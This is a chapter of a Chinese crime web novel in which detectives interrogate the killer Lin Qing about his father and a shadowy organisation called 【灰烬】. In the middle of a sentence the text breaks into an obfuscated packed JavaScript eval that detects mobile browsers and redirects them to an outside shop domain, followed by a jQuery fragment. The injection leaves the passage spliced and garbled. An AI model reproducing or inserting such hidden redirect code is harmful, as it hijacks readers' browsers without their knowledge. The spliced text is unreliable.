两个字就像啼血般的破喉而出,带着这么多年的绝望与痛苦。
审讯室内外所有人都安静的看向那个坐在审讯椅上已经完全失去理智的人,从被逮捕到现在接受审问一直没有什么情绪波动的人,现在终于露出一丝破绽。
林清此时浑身紧绷,就像一张即将断裂的弓,指骨已经因为过于用力已经泛出青白。眼底长久的死寂彻底碎裂,翻涌出来的是滔天恨意,还有被愚弄多年的荒谬。
“我一直以为,苏德他只是单纯的疯了......”
良久,林清紧绷的身体骤然放松,整个人重重的的靠会审讯椅背,力度之大让椅子发出一声轻微的闷响。
黑发遮住眉眼,整个人透着无尽的疲惫,他抬眼看向姜崇正,眼里满是红血丝,他开口,沙哑的嗓音带着厌恶,“有些东西难道真是从骨子里遗传的吗?怎么遗传的全是那个恶心人的东西呢!我一直恨他!我恨不得不要出生,每次看见我自己的脸,就在提醒我,我也是造成我妈这么痛苦的来源之一......”
“我以为苏德死了,就能抚平我妈的苦,结果从头到尾,这是别人设好的局?我一直在别人设好的棋局里打转?”
审讯室内外,全员安安静静的看着他,没有人再出言讽刺,也没有人再心生苛责。
就连李靖安此时心中的郁气也尽数消散,只剩下沉甸甸的窒息。面前这个双手沾满鲜血的人,从来不是天生的恶魔。他只是一个被困在童年梦魇、被执念困住一生的可怜人。
林文倩的视线在林清的眉眼间锁定,随后她神情一动,将苏家人的照片拿出来,重新进行着比对,随后发了一条消息给余晓晓:“晓晓,查一下苏渺的那个初恋情人,看看有没有他的照片留档。”
审讯室内,姜崇正神色冷静,等待林清的情绪回落后,没有催促,也没有逼问,只是将一张聊天记录推到他面前:“我们在苏德多年前的一个隐匿网络地址当中发现了他跟一个人的聊天。”
林清看着聊天记录,呼吸越来越急促,他的声音不自觉的加重:“所以,苏德这个畜生,拿我妈跟他们做了交易?”
闻邵达点头,他沉声到:“没错,我们现在怀疑当年联系苏德跟在十二年前接触你的是同一个组织,你这里究竟知道他们多少的内容。”
林清看着聊天记录里面对面如出一辙的极具蛊惑的话语,自嘲地笑了一声:“姜警官,你们可真看的起我,我在他们眼里也不过是一个好用的棋子罢了,从你们发现我的时候开始,他们就已经放弃我了,我能接触到什么东西。”
闻邵达的视线跟能洞穿他心底一样,死死地盯住林清眼睛不放,语气幽深:“你真的不知道吗?苏德与【灰烬】的交易你真的全都不知情吗?四岁之前苏德难道一点都没有表露出来吗?你是一个聪明的孩子,从小就是,家里所有的一切你完全没印象吗?【灰烬】给你的仪式你真的是单纯的当作唯一的救赎吗?”
林清被这一连串的拷问堵住了接下来所有的反驳,整个审问室陷入到了死一般的寂静,只有三人轻微的呼吸声在整个房间里起伏。
审讯室外,齐鲁看着林清,面露不解:“他究竟在隐藏什么,他可以直接承认四起凶案与他有关,但为什么要对【灰烬】的事情有所保留。”
李荆洁停下手里关于档案规整的动作,将凌乱的发丝理到耳后,想到与苏慧的短暂交流:“他在害怕,【灰烬】是一个怎样的组织在他接触的十二年里他肯定有所了解,他可以说,但是苏慧呢?他不能保证他们不对苏慧动手。”
林文倩文气的脸上没有其他的表情,只有她一贯的镇定:“【灰烬】跟林清的牵扯很深,林清在前期有可能是真的相信他们给的献祭一说,但是随着时间的推移,林清帮他们处理的事情越多,林清在里面的地位也会慢慢提高,那他能接触到的东西也会越多,那对于给予的仪式肯定也会产生怀疑。”
李靖安此刻的脸上褪去原本的开朗,只剩下加班加点工作后产生的疲惫,他脸上满是怀疑:“【灰烬】这么做的意义是什么,用苏渺死去的场景去教给林清一套莫须有的仪式,他们不怕林清怀疑吗?不怕林清反水吗?”
林文倩的语气带着笃定,她一针见血的指出:“【灰烬】根本不害怕林清反水,林清的手机被清理的太干净,说明他们根本就不信任林清。而为什么将仪式做的这么浅显,是因为,他们根本就觉得林清不足为据,他们不在乎林清是不是会对他们产生怀疑,他们只需要一个可以短时间启动的棋子,林清太好用了!”
“他年轻,好蛊惑。有执念,好利用。有弱点,好掌握。而林清恐怕也是发现了一点端倪,但他发现的太晚,所以他开始暴露出自己,选择自己寻找受害人,而没有【灰烬】的扫尾,他的资料自然暴露的很快。”
审讯室内,姜崇正只是拿起水杯润了一下嘴巴,他的神情一贯冷淡,仿佛没有事情能够让他迟疑,眼神冰冷中带着一丝探究,语气加重:“你知道我的名字,林清!从一开始我就没有告诉过你我的名字,你调查过我,或者说是我们小组的每一个人。为什么?”
“明明第二案后你就可以收手,但你偏偏还是进行了第三案,还大咧咧的将与王晓琳的私交放在明面上,你就是希望我们抓到你,你现在目的达到了,所以你为什么要有所保留?”
林清在听到姜崇正的话后,神色没有一丝变化,只是身体不自觉的坐直,他的眼神幽深,就像一条在暗处戒备的蛇:“姜警官,你很聪明,你的小组成员也很优秀,但有些东西不是光聪明跟优秀就可以解决的,你们想要我的东西,可以,但我凭什么相信你?”
姜崇正没有做什么冠冕堂皇的保证,他只是将余晓晓破译的内容说给他听:“当年跟苏德联系的那个人,我们查到了一点东西,我的组员在溯源苏德所有的交易记录以及所有的信件往来,我们发现了一个人,那个人当时在开阳县来往频繁,他也是苏德口中的那个华侨,他的中文名叫秦酒,英文名我相信你并不陌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852349|211831||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生-杰弗里,那个现在在国际法庭的人。”
林清的神情变了,从一开始的不在意变得逐渐凝重起来:“所以呢?”
闻邵达接过话茬,语气褪去方才的锐利,沉缓开口:“我们申请了国际警方的协助,他们那边发来了有关于杰弗里的档案,他有一个怪癖热衷于看着天才被迫夭折,看着他们在痛苦中彻底丧失希望......”
林清的手臂青筋暴起,嘴巴已经完全没了血色:“所以我的母亲成了被他选中的猎物?而苏德成为了他手里的一把刀!我母亲所遭受的痛苦全都因为一个人变态的爱好?”
姜崇正面露不忍,但还是将所有事情告知他:“所以在交易成立后,苏德就朝你母亲发难,你母亲那时候的初恋情人也惨遭苏德的杀害。你母亲的死亡是他一手造成的。”
接下来的话,林清不用姜崇正说,就已经全部猜到,字字泣血:“所以那些混蛋将我妈死的场景包装成一个所谓的仪式,我每完成一个仪式,他就能再欣赏一遍,是这个意思吗?”
此时所有人都想下意识的回避林清那个寻求回答的眼神。
而姜崇正没有回避,而是直直的对上那个视线,语气里没有可怜,也没有质疑,只有如刀锋般的锐利:“我们需要东西,需要将他们彻底连根拔起的东西!”
“而你有我们要的东西,这十二年你跟他们所有的接触都很重要!”
林清看着眼前的两个人视线又往单向玻璃看了一眼,随后垂着眼,长长的睫毛不停颤抖,遮住了眼底的血色与悲伤,沉默了一会后,才缓缓地说出了,被黑暗笼罩了十二年的隐秘过往。
“阿姨一直给我保护的很好,她尽可能的将我与苏家的四年分离出来。可是,我做不到,从离开苏家后,母亲被囚禁的阁楼,母亲口中的童谣,都成了我无休止的噩梦。”
“我太累了,我让阿姨带我去看心理医生也没用,梦里面苏德的脸也会反复出现,母亲的怀抱冷得刺骨,慢慢的我生出一个念头,要是,她能回来就好了。”
“18岁那年,我第一次翻了防火墙进到外网。”
闻邵达忍不住打断,他的表情里带着疑惑:“是有人在你身边说了什么吗?不然你怎么会想着去外网找?”
林清听到这个,脸上浮现出一丝尴尬:“这到不是,是因为我朋友那个时候说,国外这种乱七八糟的东西最多了,所以我才去的。”
姜崇正看着闻邵达愣住的神情,忍不住勾唇笑了一下:“闻叔,听他说完。”
林清喉结滚动,声音轻得像风,却字字诛心:“进入到外网后,我每一天都字上面寻找关于往生、通灵、复活的东西,最后我在一个博客上面找到了一点东西,我一直缠着那个博客的发布人问相关的内容。”
“他一开始没理我,后来一天他突然给我发了一个链接,里面说的就是什么纯白献祭的内容。”
他抬眼,眼神里满是冰冷的寒光:“所以他们从那个时候就盯上了我。”